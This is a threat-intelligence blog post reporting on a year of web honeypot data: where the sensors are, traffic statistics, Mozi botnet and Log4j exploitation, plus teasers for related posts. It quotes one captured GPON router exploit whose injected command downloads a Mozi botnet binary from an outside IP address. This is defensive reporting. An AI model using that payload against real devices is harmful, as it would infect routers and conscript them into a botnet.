Skip to main content

300 Days of New Web Honeypots

During December 2021, we deployed a new fleet of custom web honeypots written in Python Flask. The ongoing detections have been incorporated into our database as of January 3, 2022 and we are also pushing our detection feed to VirusTotal Collections. Approaching one year of of collections, here are some observations and stats:

  1. Locations where sensors are deployed:
    • Sydney, AU
    • Madrid, ES
    • Amsterdam, NL
    • Moscow, RU (which was forcibly shutdown due to sanctions imposed as a result of the 2022 Russian invasion of Ukraine)
    • Chicago, US
    • New Jersey, US
    • Iowa, US
  2. We observed nearly 500,000 requests from over 38,000 unique IPs.
  3. A majority of the malware payloads we have observed are related to the Mozi botnet. You can find the related indicators shared on Abuse.ch ThreatFox here. 
    • An example of this exploit observed in the POST body which targets GPON home routers (CVE-2018-10561) is as follows:
      • XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://221.205.75.243:48465/Mozi.m+-O+->/tmp/gpon80
  4. We observed no shortage of Apache Log4j exploitation. Within the Log4j exploit attempts, we decoded relevant payloads and extracted IPs to expand on our IOC set. A list of the indicators initiating exploit attempts as well as hosting second stage payloads can be found here.
  5. The overall top offenders and their respective ASNs are as follows:


  6. The top user-agents observed are as follows:


If you have a suggestion on additional honeypot locations you'd like to see added, drop us a note at info@sicehice.com. 



Labels:

Popular posts from this blog

AndroxGh0st – Stealing your AWS Key Pairs for Simple Email Service

AndroxGh0st is a family of malware written in Python that notoriously targets Laravel .env files. Since the inception of our new fleet of web honeypots deployed in December 2021, Sicehice has detected this activity and observed tens of thousands of requests with the HTTP POST body set to 0x[]=androxgh0st . Searching this string on GitHub yields various repositories, many of which help identify AWS secrets inadvertently exposed by the Laravel framework. One feature of AndroxGh0st is the ability to search for exposed AWS credentials, namely looking for AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY identifiers. While individuals may mistakenly leak their key pairs to version control repositories such as GitHub, GitLab, or BitBucket, there is always the possibility of inadvertently leaking key pairs directly on web servers as well. AWS has gone through efforts to continually scan GitHub for AWS key pairs and automatically apply the AWS managed policy AWSCompromi
Post a Comment
Read more

Inside a Compromised RDP Server - Bruteforcing Leads to LockBit Ransomware

As people trend towards remote work, IT departments have an ongoing need to provide remote services to end users. Without the use of traditional VPNs, technologies like Remote Desktop, Citrix and VMware are commonly used for remote access. However, they are not always configured in secure ways.  During the height of the pandemic, we setup two servers with Remote Desktop exposed to the Internet and created user "hello" with no password. Obviously, this is not a smart idea, but it does demonstrate what can happen when you have unsecured assets that are available directly on the Internet.  Scenario 1: Network Scanner Resulting in Abuse Complaint A scanning tool was used to scan for other servers listing on port 3389, which resulted in a complaint from Hetzner Online GmbH. The complaint was as follows: Figure 1: Abuse Complaint Received It is good that Hetzner has automated monitoring systems that will send abuse complaints automatically and one step in the right direction to mak
Post a Comment
Read more